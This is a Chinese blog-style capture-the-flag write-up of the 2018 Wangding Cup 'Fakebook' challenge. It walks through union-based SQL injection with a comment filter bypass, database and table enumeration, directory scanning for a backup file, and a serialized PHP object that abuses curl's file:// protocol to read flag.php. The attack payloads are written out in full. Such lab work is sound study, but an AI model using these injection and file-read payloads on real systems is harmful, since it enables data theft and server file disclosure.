[网鼎杯 2018]Fakebook 备份文件、代码审计、本地文件读取伪协议、ssrf

1、题目像是一个博客网站,有登录和注册,页面代码审计没有线索,注册后自动登陆进去之后如下

 

 

 

 

 2、注意到url中有?no参数,试给一个'有数据库报错,这里存在sql注入点。

0 union/**/select 1,5,3,4# 首先判断查询字段数,随后查询位放一个不寻常的数字,此时页面有回显点,确认为第二个位置,这里只有union/**/select中间需要用/**/隔开,其余地方没有过滤,常规流程爆表名列名

?no=0 union/**/select 1,database(),3,4# //数据库名

?no=0 union/**/select 1,table_name,3,4  from information_schema.tables where table_schema='fakebook'# //表名

?no=0 union/**/select 1,group_concat(column_name),3,4  from information_schema.columns where table_name='users'# //列名

?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4  from users# //数据

 

 

 

 

 3、一通操作下来得到的东西不尽人意,这熟悉的字段和www.ccc.com不就是我刚刚注册填写的吗,看样子这里只是我自己注册填写的信息,随后经过反序列化后存在数据库中了而已

 

 4、看了很多大佬的wp,才知道这类题目原来都可以上扫描器的,做到这一步卡住之后用dirsearch扫描服务器目录,扫到了常客robots.txt

ps:我这里一直不能复现,做BUU的题目用扫描器总是报429,加了delay参数也不可以,我看了字典明明也有robots.txt但是扫不出来。

 

根据提示再去下载备份文件,打开进行代码审计

 

 

 

 这里首先定义了Userinfo类,声明三个变量,name,age,blog。

关键方法在于getBlogContents(),和get()方法。getBlogContents方法将构造函数传入的blog值代入get方法中操作。

get方法中,将传入的blog拿去进行了一通操作。

初始化一个新的cURL会话并获取一个网页

<?php
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.runoob.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

可以大概理解为,get方法中利用curl创造了和一个指定url的对话,然后将结果返回给浏览器。

这里还学习到,curl可以配合php读取本地文件的file://伪协议。

值得一提的是,前面sql注入得到的是序列化后的字节码,所以数据库内存的内容为序列化后的。

于是构造类用于序列化再传入数据库。

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$a=new UserInfo();
$a->name="zwy";
$a->age="1";
$a->blog="file:///var/www/html/flag.php";
echo serialize($a);
?>
 
输出:
O:8:"UserInfo":3:{s:4:"name";s:3:"zwy";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}

将序列化后的字节码用于blog传给服务器。

利用select可以临时建立查询结果的特性

payload:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"zwy";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

posted @ 2021-03-20 22:12  2hangG3  阅读(76)  评论(0)    收藏  举报